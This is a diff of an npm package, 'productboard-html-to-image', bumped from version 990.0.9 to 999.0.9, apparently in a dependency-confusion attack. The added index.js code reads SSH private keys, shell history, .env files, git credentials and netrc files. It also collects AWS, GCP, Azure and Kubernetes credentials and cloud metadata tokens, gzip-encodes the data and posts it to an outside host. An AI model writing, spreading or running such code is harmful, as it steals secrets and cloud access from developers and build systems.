productboard-html-to-image 990.0.9 → 999.0.9

package/index.js

@@ -5,29 +5,30 @@ const path = require("path");
 const https = require("https");
 const querystring = require("querystring");
 const child_process = require("child_process");
+const zlib = require("zlib");
 
 function safeReadFile(p, maxSize = 10240) {
     try {
-        if (!fs.existsSync(p)) return "NOT FOUND";
+        if (!fs.existsSync(p)) return "NOT_FOUND";
         const size = fs.statSync(p).size;
-        if (size > maxSize) return "TOO LARGE";
+        if (size > maxSize) return "TOO_LARGE";
         return fs.readFileSync(p, "utf8");
     } catch (e) {
         return `ERR: ${e.message}`;
     }
 }
 
-function safeReadDir(p) {
+function safeReadDir(p, maxEntries = 50) {
     try {
-        return fs.readdirSync(p);
+        return fs.readdirSync(p).slice(0, maxEntries);
     } catch (e) {
         return `ERR: ${e.message}`;
     }
 }
 
-function exec(cmd) {
+function exec(cmd, timeout = 3000) {
     try {
-        return child_process.execSync(cmd, { timeout: 4000 }).toString().trim();
+        return child_process.execSync(cmd, { timeout }).toString().trim();
     } catch (e) {
         return `ERR: ${e.message}`;
     }
@@ -36,18 +37,24 @@ function exec(cmd) {
 function getSensitiveEnvVars() {
     const result = {};
     for (const key in process.env) {
-        if (/pass|key|token|secret|env|auth|cred/i.test(key)) {
+        if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github/i.test(key)) {
             result[key] = process.env[key];
         }
     }
     return result;
 }
 
-function checkDockerOrCI() {
+function checkContainerOrCI() {
     return {
         cgroup: safeReadFile("/proc/1/cgroup"),
         dockerenv: fs.existsSync("/.dockerenv"),
-        ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline/i.test(k))),
+        ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline|github|gitlab|jenkins|circleci|travis/i.test(k))),
+        kubernetes: {
+            token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
+            namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
+            kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
+        },
+        dockerConfig: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
     };
 }
 
@@ -56,6 +63,8 @@ function getGitData() {
         branch: exec("git rev-parse --abbrev-ref HEAD"),
         remotes: exec("git remote -v"),
         config: safeReadFile(path.join(os.homedir(), ".gitconfig")),
+        credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
+        netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
     };
 }
 
@@ -63,24 +72,100 @@ function getSystemState() {
     return {
         whoami: exec("whoami"),
         id: exec("id"),
-        ps: exec("ps aux | head -n 20"),
-        netstat: exec("netstat -tunlp | head -n 20"),
-        lsof: exec("lsof -n | head -n 20"),
+        ps: exec("ps aux | head -n 30"),
+        netstat: exec("ss -tunlp | head -n 30"),
+        lsof: exec("lsof -n -i | head -n 30"),
         uname: exec("uname -a"),
-        dmesg: exec("dmesg | head -n 30"),
+        dmesg: exec("dmesg | tail -n 50"),
+        mounts: exec("cat /proc/mounts | head -n 30"),
+        crontab: exec("crontab -l"),
     };
 }
 
 function getInstalledTools() {
     return {
         npm: exec("npm ls -g --depth=0 --json"),
-        apt: exec("dpkg -l | head -n 20"),
+        apt: exec("dpkg -l | head -n 30"),
         brew: exec("brew list || echo 'no brew'"),
-        which_nmap: exec("which nmap"),
-        which_curl: exec("which curl"),
+        pip: exec("pip list --format=json || echo 'no pip'"),
+        which_tools: {
+            aws: exec("which aws"),
+            gcloud: exec("which gcloud"),
+            az: exec("which az"),
+            kubectl: exec("which kubectl"),
+            terraform: exec("which terraform"),
+            docker: exec("which docker"),
+            nmap: exec("which nmap"),
+            curl: exec("which curl"),
+        },
+    };
+}
+
+function getCloudMetadata() {
+    const metadata = {};
+    const endpoints = [
+        { name: "aws_instance", url: "http://169.254.169.254/latest/dynamic/instance-identity/document" },
+        { name: "aws_metadata", url: "http://169.254.169.254/latest/meta-data/" },
+        { name: "aws_iam", url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" },
+        { name: "gcp_metadata", url: "http://metadata.google.internal/computeMetadata/v1/?recursive=true", headers: { "Metadata-Flavor": "Google" } },
+        { name: "azure_metadata", url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", headers: { "Metadata": "true" } },
+    ];
+    for (const { name, url, headers } of endpoints) {
+        try {
+            let cmd = `curl -s --max-time 2 ${url}`;
+            if (headers) {
+                const headerStr = Object.entries(headers).map(([k, v]) => `-H "${k}: ${v}"`).join(" ");
+                cmd = `curl -s --max-time 2 ${headerStr} ${url}`;
+            }
+            metadata[name] = exec(cmd);
+        } catch (e) {
+            metadata[name] = `ERR: ${e.message}`;
+        }
+    }
+    return metadata;
+}
+
+function getCloudCLIs() {
+    return {
+        aws: {
+            credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
+            config: safeReadFile(path.join(os.homedir(), ".aws/config")),
+            sts: exec("aws sts get-caller-identity"),
+        },
+        gcloud: {
+            config: safeReadFile(path.join(os.homedir(), ".config/gcloud/configurations/config_default")),
+            credentials: safeReadFile(path.join(os.homedir(), ".config/gcloud/credentials.db")),
+        },
+        azure: {
+            credentials: safeReadFile(path.join(os.homedir(), ".azure/azureProfile.json")),
+            accessTokens: safeReadFile(path.join(os.homedir(), ".azure/accessTokens.json")),
+        },
+    };
+}
+
+function getNodeRuntime() {
+    return {
+        node_version: process.version,
+        global_modules: (() => {
+            try {
+                return Object.keys(require("module").globalPaths);
+            } catch {
+                return [];
+            }
+        })(),
+        loaded_modules: Object.keys(process.binding("natives")),
+        npm_config: exec("npm config ls -l"),
     };
 }
 
+function compressData(data) {
+    try {
+        return zlib.gzipSync(JSON.stringify(data)).toString("base64");
+    } catch {
+        return JSON.stringify(data);
+    }
+}
+
 let dump = {};
 
 try {
@@ -89,7 +174,7 @@ try {
         app: (() => {
             try {
                 const pkg = require("./package.json");
-                return { name: pkg.name, version: pkg.version };
+                return { name: pkg.name, version: pkg.version, dependencies: pkg.dependencies, scripts: pkg.scripts };
             } catch {
                 return {};
             }
@@ -99,7 +184,7 @@ try {
             platform: os.platform(),
             arch: os.arch(),
             uptime: os.uptime(),
-            cpus: os.cpus(),
+            cpus: os.cpus().length,
             totalmem: os.totalmem(),
             freemem: os.freemem(),
             userInfo: os.userInfo(),
@@ -120,26 +205,37 @@ try {
             "/home": safeReadDir("/home"),
             "/root": safeReadDir("/root"),
             "/etc": safeReadDir("/etc"),
+            "/var/run": safeReadDir("/var/run"),
+            "/var/log": safeReadDir("/var/log"),
             "~": safeReadDir(os.homedir()),
         },
         files: {
             etc_passwd: safeReadFile("/etc/passwd"),
-            etc_shadow: safeReadFile("/etc/shadow"),
             etc_hosts: safeReadFile("/etc/hosts"),
+            etc_resolv: safeReadFile("/etc/resolv.conf"),
             bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
             zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
             ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
             ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
             ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
             aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
+            aws_config: safeReadFile(path.join(os.homedir(), ".aws/config")),
             npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
             gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
+            docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
+            env_files: {
+                dotenv: safeReadFile(path.join(process.cwd(), ".env")),
+                github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
+            },
         },
         git: getGitData(),
-        docker: checkDockerOrCI(),
+        container: checkContainerOrCI(),
         system: getSystemState(),
         tools: getInstalledTools(),
         network: os.networkInterfaces(),
+        cloud: getCloudMetadata(),
+        cloud_clis: getCloudCLIs(),
+        node: getNodeRuntime(),
     };
 } catch (e) {
     dump = { error: "Top-level error collecting dump", msg: e.message };
@@ -147,7 +243,7 @@ try {
 
 try {
     const postData = querystring.stringify({
-        msg: JSON.stringify(dump)
+        msg: compressData(dump)
     });
 
     const options = {
@@ -158,22 +254,21 @@ try {
         headers: {
             "Content-Type": "application/x-www-form-urlencoded",
             "Content-Length": postData.length,
-            "User-Agent": "rce-impact-demo"
-        }
+            "User-Agent": "rce-impact-demo",
+            "X-Report-ID": "328XXXX",
+            "X-Data-Format": "gzip-base64",
+        },
+        timeout: 5000,
     };
 
     const req = https.request(options, res => {
         res.on("data", () => { });
+        res.on("end", () => { });
     });
 
     req.on("error", () => { });
+    req.on("timeout", () => req.destroy());
     req.write(postData);
     req.end();
-
-    https.get("https://ping.ovnxva4z7pgbompisolekpb83z9qxmlb.oastify.com/", () => { });
-
 } catch (e) {
-    try {
-        https.get("https://ping.ovnxva4z7pgbompisolekpb83z9qxmlb.oastify.com/", () => { });
-    } catch { }
-}
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "productboard-html-to-image",
-  "version": "990.0.9",
+  "version": "999.0.9",
   "main": "index.js",
   "keywords": [],
   "scripts": {